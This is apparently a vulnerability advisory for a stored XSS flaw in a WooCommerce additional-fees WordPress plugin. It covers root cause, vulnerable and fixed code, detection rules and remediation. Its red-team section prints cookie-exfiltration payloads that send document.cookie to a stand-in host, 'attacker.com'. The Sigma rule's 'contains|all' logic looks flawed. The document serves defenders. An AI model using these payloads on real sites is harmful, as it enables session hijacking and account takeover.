CVE-2025-57903

Executive Summary

CVE-2025-57903 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WooCommerce Additional Fees On Checkout (Free) by WPSuperiors, affecting all versions up to and including 1.5.2. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the plugin’s fee description fields. When an administrator or other user views the injected data (e.g., on the checkout or order details page), the malicious script executes in their browser session. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The CVSS score is 5.9 (Medium), and no public exploit code or patch is currently available. Given the WordPress ecosystem, this vulnerability poses a significant risk to e-commerce sites using the plugin, as it can compromise administrative accounts and customer data.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch exists, users are advised to remove or disable the plugin immediately. The lack of a vendor response increases supply chain risk, as malicious actors could exploit unpatched installations to inject backdoors or steal sensitive order information.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): Low – attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required – the victim (e.g., admin) must view the malicious content.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): Low – limited impact on service availability.

Threat Level: Medium. While the CVSS score is moderate, the real-world impact on e-commerce sites can be severe due to potential admin account compromise and customer data theft.

Deep Dive & Mechanics

The vulnerability resides in the woo-additional-fees-on-checkout-wordpress plugin, specifically in how it handles fee description fields. The plugin allows administrators to add custom fees (e.g., handling charges) to the WooCommerce checkout process. The fee description input is not sanitized or escaped before being stored in the database and later rendered on the checkout page, order details, and admin panels.

Attack Flow:

1. An attacker with contributor-level access (or higher) logs into the WordPress admin panel.
2. The attacker navigates to the plugin’s settings and adds a new fee, injecting a malicious payload into the fee description field (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the WordPress database without sanitization.
4. When an administrator or customer views the checkout page or order details, the payload executes in their browser.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or redirect users to phishing pages.

Root Cause: The plugin fails to apply output escaping (e.g., esc_html()) or input sanitization (e.g., sanitize_text_field()) on the fee description field. This is a classic Stored XSS vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.5.2):

// In a file like woo-additional-fees-on-checkout.php
function display_fee_description($fee) {
    echo '<p class="fee-description">' . $fee->description . '</p>';
}

The $fee->description is output directly without escaping.

Patched Code (hypothetical):

function display_fee_description($fee) {
    echo '<p class="fee-description">' . esc_html($fee->description) . '</p>';
}

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with WooCommerce and the vulnerable plugin installed (version <= 1.5.2).
• An account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in to the WordPress admin panel as a contributor.
2. Navigate to WooCommerce > Settings > Additional Fees.
3. Click Add New Fee.
4. In the Fee Description field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the fee.
6. Wait for an administrator to view the checkout page or order details. The script will execute, sending the admin’s session cookie to the attacker’s server.

Alternative Payload (for session hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

• Monitor for unusual fee descriptions containing HTML tags or JavaScript.
• Check WordPress database for suspicious entries in the wp_options table (where plugin settings are stored) or custom post meta.

Hunting Query (SQL):

SELECT * FROM wp_options WHERE option_name LIKE '%woo_additional_fees%' AND option_value LIKE '%<script%';

Lab Setup:

• Use a local WordPress instance (e.g., via Docker) with WooCommerce and the vulnerable plugin.
• Simulate the attack by injecting a benign payload (e.g., <script>alert('XSS Test')</script>).
• Verify execution by viewing the checkout page.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g., GET /steal?cookie=...).
• Host: Presence of JavaScript payloads in the WordPress database, specifically in the wp_options table under keys like woo_additional_fees_settings.
• File: Modified plugin files (though unlikely, as the vulnerability is in stored data).
• Logs: Unusual entries in WordPress debug logs or web server access logs showing requests to /wp-admin/admin-ajax.php with suspicious parameters.

Detection Engineering

YARA Rule

rule CVE_2025_57903_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WooCommerce Additional Fees plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57903"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $img_payload = /<img[^>]*onerror\s*=/i
        $svg_payload = /<svg[^>]*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in WooCommerce Additional Fees Plugin
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1a3d4f5e6c
status: experimental
description: Detects stored XSS payloads in the WooCommerce Additional Fees plugin settings
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Example: WordPress action log
        Plugin: "woo-additional-fees-on-checkout-wordpress"
        Payload|contains|all:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in fee descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-57903 Stored XSS in WooCommerce Additional Fees"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=woo_additional_fees_save"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:20250410; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the plugin until a patch is released.
2. Review all existing fee descriptions for malicious content. Use the SQL query in the Blue Team section to identify potential injections.
3. Rotate all admin passwords and session tokens if compromise is suspected.

Long-Term Mitigation:

• Apply a virtual patch using a Web Application Firewall (WAF) to block XSS payloads in fee description fields.
• Monitor the plugin’s repository for updates and apply the patch as soon as it becomes available.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• If the plugin is critical, consider forking it and adding proper input sanitization and output escaping (as shown in the patched code example).

Valters IT